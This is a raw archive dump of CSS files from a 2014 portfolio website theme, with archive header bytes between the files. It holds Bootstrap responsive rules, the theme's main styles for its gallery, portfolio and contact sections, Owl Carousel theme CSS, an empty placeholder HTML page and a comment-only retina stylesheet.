.icon-next:before{content:'\203a';}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center;}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;border:1px solid #ffffff;border-radius:10px;cursor:pointer;background-color:#000 \9;background-color:rgba(0, 0, 0, 0);}.carousel-indicators .active{margin:0;width:12px;height:12px;background-color:#ffffff;}.carousel-caption{position:absolute;left:15%;right:15%;bottom:20px;z-index:10;padding-top:20px;padding-bottom:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0, 0, 0, 0.6);}.carousel-caption .btn{text-shadow:none;}@media screen and (min-width:768px){.carousel-control .glyphicons-chevron-left,.carousel-control .glyphicons-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;margin-left:-15px;font-size:30px;} .carousel-caption{left:20%;right:20%;padding-bottom:30px;} .carousel-indicators{bottom:20px;}}.clearfix:before,.clearfix:after{content:" ";display:table;}.clearfix:after{clear:both;}.center-block{display:block;margin-left:auto;margin-right:auto;}.pull-right{float:right !important;}.pull-left{float:left !important;}.hide{display:none !important;}.show{display:block !important;}.invisible{visibility:hidden;}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.hidden{display:none !important;visibility:hidden !important;}.affix{position:fixed;}@-ms-viewport{width:device-width;}.visible-xs,tr.visible-xs,th.visible-xs,td.visible-xs{display:none !important;}@media (max-width:767px){.visible-xs{display:block !important;}table.visible-xs{display:table;} tr.visible-xs{display:table-row !important;} th.visible-xs,td.visible-xs{display:table-cell !important;}}@media (min-width:768px) and (max-width:991px){.visible-xs.visible-sm{display:block !important;}table.visible-xs.visible-sm{display:table;} tr.visible-xs.visible-sm{display:table-row !important;} th.visible-xs.visible-sm,td.visible-xs.visible-sm{display:table-cell !important;}}@media (min-width:992px) and (max-width:1199px){.visible-xs.visible-md{display:block !important;}table.visible-xs.visible-md{display:table;} tr.visible-xs.visible-md{display:table-row !important;} th.visible-xs.visible-md,td.visible-xs.visible-md{display:table-cell !important;}}@media (min-width:1200px){.visible-xs.visible-lg{display:block !important;}table.visible-xs.visible-lg{display:table;} tr.visible-xs.visible-lg{display:table-row !important;} th.visible-xs.visible-lg,td.visible-xs.visible-lg{display:table-cell !important;}}.visible-sm,tr.visible-sm,th.visible-sm,td.visible-sm{display:none !important;}@media (max-width:767px){.visible-sm.visible-xs{display:block !important;}table.visible-sm.visible-xs{display:table;} tr.visible-sm.visible-xs{display:table-row !important;} th.visible-sm.visible-xs,td.visible-sm.visible-xs{display:table-cell !important;}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important;}table.visible-sm{display:table;} tr.visible-sm{display:table-row !important;} th.visible-sm,td.visible-sm{display:table-cell !important;}}@media (min-width:992px) and (max-width:1199px){.visible-sm.visible-md{display:block !important;}table.visible-sm.visible-md{display:table;} tr.visible-sm.visible-md{display:table-row !important;} th.visible-sm.visible-md,td.visible-sm.visible-md{display:table-cell !important;}}@media (min-width:1200px){.visible-sm.visible-lg{display:block !important;}table.visible-sm.visible-lg{display:table;} tr.visible-sm.visible-lg{display:table-row !important;} th.visible-sm.visible-lg,td.visible-sm.visible-lg{display:table-cell !important;}}.visible-md,tr.visible-md,th.visible-md,td.visible-md{display:none !important;}@media (max-width:767px){.visible-md.visible-xs{display:block !important;}table.visible-md.visible-xs{display:table;} tr.visible-md.visible-xs{display:table-row !important;} th.visible-md.visible-xs,td.visible-md.visible-xs{display:table-cell !important;}}@media (min-width:768px) and (max-width:991px){.visible-md.visible-sm{display:block !important;}table.visible-md.visible-sm{display:table;} tr.visible-md.visible-sm{display:table-row !important;} th.visible-md.visible-sm,td.visible-md.visible-sm{display:table-cell !important;}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important;}table.visible-md{display:table;} tr.visible-md{display:table-row !important;} th.visible-md,td.visible-md{display:table-cell !important;}}@media (min-width:1200px){.visible-md.visible-lg{display:block !important;}table.visible-md.visible-lg{display:table;} tr.visible-md.visible-lg{display:table-row !important;} th.visible-md.visible-lg,td.visible-md.visible-lg{display:table-cell !important;}}.visible-lg,tr.visible-lg,th.visible-lg,td.visible-lg{display:none !important;}@media (max-width:767px){.visible-lg.visible-xs{display:block !important;}table.visible-lg.visible-xs{display:table;} tr.visible-lg.visible-xs{display:table-row !important;} th.visible-lg.visible-xs,td.visible-lg.visible-xs{display:table-cell !important;}}@media (min-width:768px) and (max-width:991px){.visible-lg.visible-sm{display:block !important;}table.visible-lg.visible-sm{display:table;} tr.visible-lg.visible-sm{display:table-row !important;} th.visible-lg.visible-sm,td.visible-lg.visible-sm{display:table-cell !important;}}@media (min-width:992px) and (max-width:1199px){.visible-lg.visible-md{display:block !important;}table.visible-lg.visible-md{display:table;} tr.visible-lg.visible-md{display:table-row !important;} th.visible-lg.visible-md,td.visible-lg.visible-md{display:table-cell !important;}}@media (min-width:1200px){.visible-lg{display:block !important;}table.visible-lg{display:table;} tr.visible-lg{display:table-row !important;} th.visible-lg,td.visible-lg{display:table-cell !important;}}.hidden-xs{display:block !important;}table.hidden-xs{display:table;}tr.hidden-xs{display:table-row !important;}th.hidden-xs,td.hidden-xs{display:table-cell !important;}@media (max-width:767px){.hidden-xs,tr.hidden-xs,th.hidden-xs,td.hidden-xs{display:none !important;}}@media (min-width:768px) and (max-width:991px){.hidden-xs.hidden-sm,tr.hidden-xs.hidden-sm,th.hidden-xs.hidden-sm,td.hidden-xs.hidden-sm{display:none !important;}}@media (min-width:992px) and (max-width:1199px){.hidden-xs.hidden-md,tr.hidden-xs.hidden-md,th.hidden-xs.hidden-md,td.hidden-xs.hidden-md{display:none !important;}}@media (min-width:1200px){.hidden-xs.hidden-lg,tr.hidden-xs.hidden-lg,th.hidden-xs.hidden-lg,td.hidden-xs.hidden-lg{display:none !important;}}.hidden-sm{display:block !important;}table.hidden-sm{display:table;}tr.hidden-sm{display:table-row !important;}th.hidden-sm,td.hidden-sm{display:table-cell !important;}@media (max-width:767px){.hidden-sm.hidden-xs,tr.hidden-sm.hidden-xs,th.hidden-sm.hidden-xs,td.hidden-sm.hidden-xs{display:none !important;}}@media (min-width:768px) and (max-width:991px){.hidden-sm,tr.hidden-sm,th.hidden-sm,td.hidden-sm{display:none !important;}}@media (min-width:992px) and (max-width:1199px){.hidden-sm.hidden-md,tr.hidden-sm.hidden-md,th.hidden-sm.hidden-md,td.hidden-sm.hidden-md{display:none !important;}}@media (min-width:1200px){.hidden-sm.hidden-lg,tr.hidden-sm.hidden-lg,th.hidden-sm.hidden-lg,td.hidden-sm.hidden-lg{display:none !important;}}.hidden-md{display:block !important;}table.hidden-md{display:table;}tr.hidden-md{display:table-row !important;}th.hidden-md,td.hidden-md{display:table-cell !important;}@media (max-width:767px){.hidden-md.hidden-xs,tr.hidden-md.hidden-xs,th.hidden-md.hidden-xs,td.hidden-md.hidden-xs{display:none !important;}}@media (min-width:768px) and (max-width:991px){.hidden-md.hidden-sm,tr.hidden-md.hidden-sm,th.hidden-md.hidden-sm,td.hidden-md.hidden-sm{display:none !important;}}@media (min-width:992px) and (max-width:1199px){.hidden-md,tr.hidden-md,th.hidden-md,td.hidden-md{display:none !important;}}@media (min-width:1200px){.hidden-md.hidden-lg,tr.hidden-md.hidden-lg,th.hidden-md.hidden-lg,td.hidden-md.hidden-lg{display:none !important;}}.hidden-lg{display:block !important;}table.hidden-lg{display:table;}tr.hidden-lg{display:table-row !important;}th.hidden-lg,td.hidden-lg{display:table-cell !important;}@media (max-width:767px){.hidden-lg.hidden-xs,tr.hidden-lg.hidden-xs,th.hidden-lg.hidden-xs,td.hidden-lg.hidden-xs{display:none !important;}}@media (min-width:768px) and (max-width:991px){.hidden-lg.hidden-sm,tr.hidden-lg.hidden-sm,th.hidden-lg.hidden-sm,td.hidden-lg.hidden-sm{display:none !important;}}@media (min-width:992px) and (max-width:1199px){.hidden-lg.hidden-md,tr.hidden-lg.hidden-md,th.hidden-lg.hidden-md,td.hidden-lg.hidden-md{display:none !important;}}@media (min-width:1200px){.hidden-lg,tr.hidden-lg,th.hidden-lg,td.hidden-lg{display:none !important;}}.visible-print,tr.visible-print,th.visible-print,td.visible-print{display:none !important;}@media print{.visible-print{display:block !important;}table.visible-print{display:table;} tr.visible-print{display:table-row !important;} th.visible-print,td.visible-print{display:table-cell !important;} .hidden-print,tr.hidden-print,th.hidden-print,td.hidden-print{display:none !important;}}PK!��I4�I�Ibluetheme/assets/css/main.cssnu&1i�body{
	overflow-x: hidden;
}
a, a:hover, a:focus{
	text-decoration: none;
}
a:focus { 
    	outline: none; 
}
p{
	color: #777;
	font-family:"OpenSansRegular";
	font-size: 14px;
	line-height:21px;
}
@media (min-width: 1024px) and (max-width: 5000px) {
	/*.container, .service-details{
		max-width: 990px;
	}*/
	.container, .service-details{
		width: 100%;
	}
}

/*Button and Action Elements*/
.btn-identity{
	margin: 10px 0;
	padding: 15px;
	border:solid 1px #fff;
	color: #fff;
	text-decoration: none;
	font-family:"TexGyreHerosRegular";
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.btn-identity:hover{
	border:solid 1px #fff;
	background:#fff;
	color: #000;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.btn-identity-dark{
	margin: 10px 0;
	padding: 15px;
	border:solid 1px #000;
	color: #000;
	text-decoration: none;
	font-family:"TexGyreHerosRegular";
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.btn-identity-dark:hover{
	border:solid 1px #000;
	background:#000;
	color: #fff;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.btn-identity-color{
	margin: 10px 0;
	padding: 15px;
	text-decoration: none;
	font-family:"TexGyreHerosRegular";
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.btn-identity-dark:hover{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

/*Common Spacing and Padding*/
.add-top{
	padding-top: 40px;
}
.add-bottom{
	padding-bottom: 40px;
}
.add-top-half{
	padding-top: 20px;
}
.add-bottom-half{
	padding-bottom: 20px;
}
.pad-common{
	padding: 50px;
}

.valign{
	position:relative;
	top:50%;
	transform:translateY(-50%);
}

/*-------------------------------------------------------------------------------------------------------------------------------*/
/* 02 - HEADER, INTRO & NAVIGATION */
/*-------------------------------------------------------------------------------------------------------------------------------*/

.nav-trigger.displace{
	left: 200px;
}
#mastwrap{
	margin-left: 60px;
}
#vertical-logo{
	margin: 10px;
	font-size: 18px;
	letter-spacing: 2px;
	text-transform: uppercase;
	color: #333;
	font-family:"MontserratRegular";
	font-weight: normal;
	margin-top: 95px;
    -webkit-transform: rotate(270deg);
    -moz-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    writing-mode: lr-tb;
}
#logo{
	border-bottom:solid 1px #eee;
}
#logo > img{
	margin-top: 20px;
	margin-bottom: 20px;
}

/*-------------------------------------------------------------------------------------------------------------------------------*/
/* 03 - COMMON ELEMENTS & TYPOGRAPHY */
/*-------------------------------------------------------------------------------------------------------------------------------*/

.main-heading{
	font-weight: normal;
	font-size:64px;
	line-height:71px;
font-family:"NexaLight";
text-transform: uppercase;
margin-top: 0;
margin-bottom: 0;
}
.sub-heading{
	font-size: 36px;
	line-height:43px;
font-family:"MontserratRegular";
	font-weight: 100;
	color: #aaa;
}
.sub-heading > span{
font-family:"TexGyreHerosBold";
}

.query-heading{
	font-size: 36px;
	line-height:43px;
font-family:"MontserratRegular";
	font-weight: 100;
	color: #aaa;
}
.query-heading > span{
font-family:"TexGyreHerosBold";
}
.inner-heading{
	font-family:"MontserratRegular";
	text-transform: uppercase;
	margin-top: 0;
	margin-bottom: 0;
	font-size: 24px;
	line-height: 31px;
}

.liner-medium{
	width: 36px;
	height: 7px;
	display: inline-block;
}

.liner-small{
	width: 30px;
	height: 5px;
	display: block;
	margin-top: 5px;
}
.parallax{
	background-size: cover !important;
	background-repeat: no-repeat;
}

/*-------------------------------------------------------------------------------------------------------------------------------*/
/* 04 - PAGES & SECTIONS SETUP */
/*-------------------------------------------------------------------------------------------------------------------------------*/

/*HOME*/
.thumb-carousel-wrap{
	background:#000;
}
.home-carousel  .item{
	background:#fff;
}
.thumb-zoom{
}
.home-slide{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}


/*ABOUT*/
.about-bg{
	background:url('../images/parallax/01.jpg') center center no-repeat;
	background-size: cover !important;
	background-attachment: fixed;
}
#about-wrap{
	height: 100%;
}
.welcome{
	height: 100%;
	background: #fff;
}
.stats-list{
	list-style: none;
	padding: 0;
	margin: 0;
}
.stats-list li{
	margin: 20px 0;
}
.stats-text{
	font-size: 42px;
	line-height: 49px;
	font-family:"MontserratRegular";
	color: #888;
	margin-left: 20px;
}
.stats-info > span{
	font-size: 18px;
	line-height: 25px;
	font-family:"OpenSansLight";
	border-top: solid 1px #fff;
	padding-top: 5px;
	margin-left: 20px;
}
.testimonial-wrap{

}
.testimonial-block > img{
	width: 115px;
	height: 115px;
	border-radius: 125px;
	border: solid 5px #fff;
}

.testimonial-block > p{
	margin-top: 20px;
	color: #fff;
	font-weight: normal;
font-family:"OpenSansRegular";
padding-bottom: 15px;
}
.testimonial-block > h5 > span{
	color: #fff;
	font-size: 20px;
	line-height: 27px;
	font-weight: normal;
font-family:"OpenSansBold";
border-top: solid 1px #fff;
padding-top: 5px;
padding-bottom: 10px;
}
.testimonial-carousel .owl-buttons{
	text-align: left !important;
}
.testimonial-carousel .owl-buttons div{
	padding: 5px 10px !important;
	margin: 0 !important;
	margin-right: 5px !important;
	background: transparent  !important;
	border: solid 2px #fff !important;
	color: #fff !important;
	opacity: 1 !important;
}

.testimonial-carousel .owl-buttons div:hover{
	opacity: 0.5 !important;
}

/*SERVICES*/
.services-bg{
	background:url('../images/parallax/01.jpg') center center no-repeat;
	background-size: cover !important;
	background-attachment: fixed;
}
.services-item{

}
.services-item > .service-icon{
	margin-bottom: 20px;
}
.status-icon > img{
	padding: 0 5px 5px 5px;
}


/*-------------------------------------------------------------------------------------------------------------------------------*/
/*05 - FOOTER */
/*-------------------------------------------------------------------------------------------------------------------------------*/

#mastfoot{
}
.foot-top{
	padding: 20px;
	border-top: solid 1px #eee;
}
.foot-social{
	list-style: none;
	padding: 0;
	margin: 0;
}
.foot-social li{
	display: inline-block;
	margin-left: 3px;
	margin-right: 3px;
}
.foot-social li a > img{
	opacity: 0.3;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.foot-social li a > img:hover{
	opacity: 1;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.handle{
	font-size: 24px;
	line-height: 31px;
	color: #000;
	font-family:"TexGyreHerosBold";
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

.handle:hover{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.credit-panel{
	padding: 20px;
}
.credit-panel p{
	color: #444;
	margin-bottom: 0;
	font-size: 12px;
	line-height: 19px;
font-family:"OpenSansLight";
}


/*GALLERY*/
.gallery{
	background:#fff;
}
#gallery-wrap{
	height: 100%;
	background:#fff;
}
.gallery-bg{
	background:#fff;
}
.gallery-browse{
	list-style: none;
	padding: 0;
	margin-top: 30px;
}
.gallery-browse li{
	float: left;
	margin: 10px 5px 10px 0 !important;
}
.gallery-browse li  span{
	padding: 8px;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.gallery-browse li  span:hover, .gallery-browse li  span:hover > a{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.gallery-browse li  span > a{
	font-family:"TexGyreHerosBold";
	color: #fff;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

.gallery-slide{
	background-size: cover;
	background-repeat: no-repeat;
}
.gallery-slide .image-lightbox-link > img{
	opacity: 0;
	padding: 20px;
	border-radius: 100%;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.gallery-slide:hover .image-lightbox-link > img{
	opacity:1;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.image-lightbox-link > img{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.image-lightbox-link > img:hover{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

.gallery-slide{
	width: 600px;
	height: 399px;
}
/*Set Gallery Slide Images*/
.gallery-slide-01{
	background-image: url('../images/gallery/01.jpg');
}
.gallery-slide-02{
	background-image: url('../images/gallery/02.jpg');
}
.gallery-slide-03{
	background-image: url('../images/gallery/03.jpg');
}
.gallery-slide-04{
	background-image: url('../images/gallery/04.jpg');
}
.gallery-slide-05{
	background-image: url('../images/gallery/05.jpg');
}
.gallery-slide-06{
	background-image: url('../images/gallery/06.jpg');
}
.gallery-slide-07{
	background-image: url('../images/gallery/07.jpg');
}
.gallery-slide-08{
	background-image: url('../images/gallery/08.jpg');
}


/*SHOW REEL*/
.showreel{
	background:#fff;
	overflow:hidden;
}
#showreel-wrap{
	height: 100%;
	background:#fff;
}
.showreel-bg{
	background:#fff;
}
.reel-container{

	padding-bottom: 60px !important;
}

/*GRID-PORTFOLIO*/
.portfolio-container{
	padding: 10px 0;
}

.portfolio-filter{
	list-style: none;
	padding: 0;
	margin-top: 30px;
}
.portfolio-filter li{
	float: left;
	margin: 12px 5px 12px 0 !important
}
.portfolio-filter li  span{
	padding: 10px;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.portfolio-filter li  span:hover, .portfolio-filter li  span:hover > a{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.portfolio-filter li  span > a{
	font-family:"TexGyreHerosBold";
	color: #fff;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}


/*MEDIA-FOLIO*/
.mediafolio-container{
	padding: 40px 20px;
}

.mediafolio-filter{
	list-style: none;
	padding: 0;
	margin-top: 30px;
}
.mediafolio-filter li{
	cursor: pointer;
	float: left;
	margin: 12px 8px 0 0 !important;
	padding: 10px;
	font-family:"TexGyreHerosBold";
	color: #fff;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.mediafolio-filter li:hover{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.vbox-num {
    font-size: 32px;
    line-height: 39px;
}

/*CONTACT*/
.contact-bg{
	background:url('../images/parallax/01.jpg') center center no-repeat;
	background-size: cover !important;
	background-attachment: fixed;
}
.contact-item{

}
.contact-item > .contact-icon{
	margin-bottom: 20px;
}
.contact-icon > img{
	padding: 0 5px 5px 5px;
}
.email-text{
	font-size: 24px;
	line-height:31px;
	font-family:"TexGyreHerosBold";
	font-weight: 100;
	color: #aaa;
	opacity: 1;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}
.email-text:hover{
	color: #fff;
	cursor: pointer;
	opacity: 0.6;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}
.address-text{
	border-top: solid 1px #fff;
	padding-top: 10px;
	margin-top: 10px;
	font-size: 14px;
	line-height:21px;
	font-family:"OpenSansLight";
	color: #aaa;
}

.credentials{
	list-style: none;
	padding: 0;
	margin: 30px 0 0 0;
}
.credentials li{
	display: block;
	margin-bottom:8px;
}
.credentials li a > img{
	margin-right: 5px;
	width: 35px;
	height: 35px;
	opacity: 1;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}
.credentials li a:hover > img{
	width: 35px;
	height: 35px;
	opacity: 0.7;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}

.credentials li a > span{
	font-family: 'OpenSansLight';
	color: #fff;
	opacity: 1;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}
.credentials li a:hover > span{
	opacity: 0.7;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}

/*contact form*/

.contact-mail-wrap{
	padding: 20px 0;
}
.contact-mail{
	font-size: 18px;
	line-height: 25px;
	font-family:"OpenSansLight";
	color: #fff;
}
.contact-form-wrap{
	padding-top: 50px;
	padding-bottom: 50px;
}

input {
    background: rgba(255,255,255,0.5); !important;
    border: none !important;
    border-radius: 0px !important;
    box-shadow: none !important;
    color: #000 !important;
    font-family:"OpenSansLight" !important;
    font-size: 18px !important;
    height: 50px !important;
    line-height: 35px !important;
    margin-bottom: 10px !important;
    padding: 10px !important;
    width: 100%;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
input:focus, textarea:focus {
    border: solid 1px #fff !important;
    background: #fff !important;
    color: #000 !important;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
textarea {
    background: rgba(255,255,255,0.5); !important;
    border: none !important;
    border-radius: 0px !important;
    box-shadow: none !important;
    color: #000 !important;
    font-family:"OpenSansLight" !important;
    font-size: 18px !important;
    line-height: 30px !important;
    margin-top: 0;
    padding: 10px !important;
    resize: none;
    width: 100%;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
input.send_message {
    background: none repeat scroll 0 0 #EF4A4A;
    color: #FFFFFF;
    cursor: pointer;
    float: left;
    font-size: 12px;
    font-weight: 400;
    margin: 0;
    width: 120px;
}
input.send_message:hover {
    background: none repeat scroll 0 0 #262932;
}
fieldset {
    border: 0 none;
    float: left;
    padding: 0;
    position: relative;
    width: 100%;
}
fieldset h1 {
    color: #000000;
    font-size: 24px;
}
.contact-label-box {
    color: #FFFFFF;
    font-family:"OpenSansLight";
    font-size: 24px;
    line-height: 31px;
    padding: 30px 20px;
    text-align: center;
}
.contact-label-box > span {
    display: block;
    margin-right: 10px;
}
.contact-label-box > span > img {
    height: 60px;
    width: 60px;
}
.contact-label-box a:hover {
    color: #CCCCCC;
    text-decoration: none;
}
.contact .alert{
	box-shadow: none;
	border:none;
	border-radius: 0;
	text-shadow:none;
	font-size: 12px;
	line-height: 19px;
    	font-family:"OpenSansLight";
	margin-bottom:10px;
	padding:10px;
	background:#000;
	color: #fff;
	text-align: left;
}
.contact .alert > p{
	text-shadow:none;
	font-size: 12px;
	line-height: 19px;
    	font-family:"OpenSansLight";
	color: #fff;
	text-align: left;
}
.btn-wrap{
	margin-top: 10px;
	text-align: left;
}
.space-left{
	margin-left: 1%;
}


.alert{
	margin-top: 30px;
	border-radius: 0px;
	padding: 5px;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

.border-top-main {
border-top: solid 50px #2ac4ea;
}
.white-bg {
background: #ffffff !important;
}

.border-top-white {
border-top: solid 50px #ffffff;
}
.high-bg {
background: #2ac4ea !important;
}
.white-text {
color: #ffffff !important;
}
.high-bg > .liner-medium, .high-bg > .liner-small {
background: #333333;
}
.liner-medium, .liner-small {
background: #2ac4ea;
}
.portfolio-filter li span {
background: #ffffff;
}
.portfolio-filter li span > a {
color: #333333;
}
.dark-text {
color: #333333 !important;
}
.sub-heading > span {
border-bottom: solid 1px #2ac4ea;
}

.mediafolio-filter li {
border: solid 1px #ffffff;
background: #ffffff;
color: #333333;
}
.mediafolio-caps > p > span {
color: #2ac4ea;
}

PK!.���99bluetheme/assets/css/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!YW���"bluetheme/assets/css/owl.theme.cssnu&1i�/*
* 	Owl Carousel Owl Demo Theme 
*	v1.3.3
*/

.owl-theme .owl-controls{
	margin-top: 10px;
	text-align: center;
}

/* Styling Next and Prev buttons */

.owl-theme .owl-controls .owl-buttons div{
	color: #FFF;
	display: inline-block;
	zoom: 1;
	*display: inline;/*IE7 life-saver */
	margin: 5px;
	padding: 3px 10px;
	font-size: 12px;
	-webkit-border-radius: 30px;
	-moz-border-radius: 30px;
	border-radius: 30px;
	background: #869791;
	filter: Alpha(Opacity=50);/*IE7 fix*/
	opacity: 0.5;
}
/* Clickable class fix problem with hover on touch devices */
/* Use it for non-touch hover action */
.owl-theme .owl-controls.clickable .owl-buttons div:hover{
	filter: Alpha(Opacity=100);/*IE7 fix*/
	opacity: 1;
	text-decoration: none;
}

/* Styling Pagination*/

.owl-theme .owl-controls .owl-page{
	display: inline-block;
	zoom: 1;
	*display: inline;/*IE7 life-saver */
}
.owl-theme .owl-controls .owl-page span{
	display: block;
	width: 12px;
	height: 12px;
	margin: 5px 7px;
	filter: Alpha(Opacity=50);/*IE7 fix*/
	opacity: 0.5;
	-webkit-border-radius: 20px;
	-moz-border-radius: 20px;
	border-radius: 20px;
	background: #869791;
}

.owl-theme .owl-controls .owl-page.active span,
.owl-theme .owl-controls.clickable .owl-page:hover span{
	filter: Alpha(Opacity=100);/*IE7 fix*/
	opacity: 1;
}

/* If PaginationNumbers is true */

.owl-theme .owl-controls .owl-page span.owl-numbers{
	height: auto;
	width: auto;
	color: #FFF;
	padding: 2px 10px;
	font-size: 12px;
	-webkit-border-radius: 30px;
	-moz-border-radius: 30px;
	border-radius: 30px;
}

/* preloading images */
.owl-item.loading{
	min-height: 150px;
	background: url(AjaxLoader.gif) no-repeat center center
}PK!�M``$bluetheme/assets/css/main-retina.cssnu&1i�/*MAIN-RETINA.CSS*/
/*-------------------------------------------------------------------------------------------------------------------------------------*/
/*This is main CSS file that contains retina display optimization rules to be used in this template*/
/*-------------------------------------------------------------------------------------------------------------------------------------*/
/* Template Name: IDENTITY.*/
/* Author: Designova.*/
/* Website: http://www.designova.net */
/* Copyright: (C) 2014 */
/*-------------------------------------------------------------------------------------------------------------------------------*/


/*==========================*/
/*RETINA DISPLAY OPTIMIZATION*/
/*===========================*/
@media all and (-webkit-min-device-pixel-ratio: 1.5) { 


/*IMPORTANT : PLEASE NOTE:
Just define high resolution version (2x) all of the background images used in your website.
Example is given below:*/

/*#my-element { background-image: url('/images/my_image@2x.png'); background-size: 200px 100px; } */

/*In the above definition, background-size stands for width and height of the high resolution image - you have to set it manually. 
For further info please visit: http://retinajs.com/ */


/*...........uncomment this line and add your retina specific rules here.............*/


}
/*end of retina detection mediaquery*/



PK!7���
�
#bluetheme/assets/css/mediafolio.cssnu&1i�.mediafolio-thumb-wrap{
	background:#fff;
	padding: 5px;
}
.mediafolio-grid{
	border: none;
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
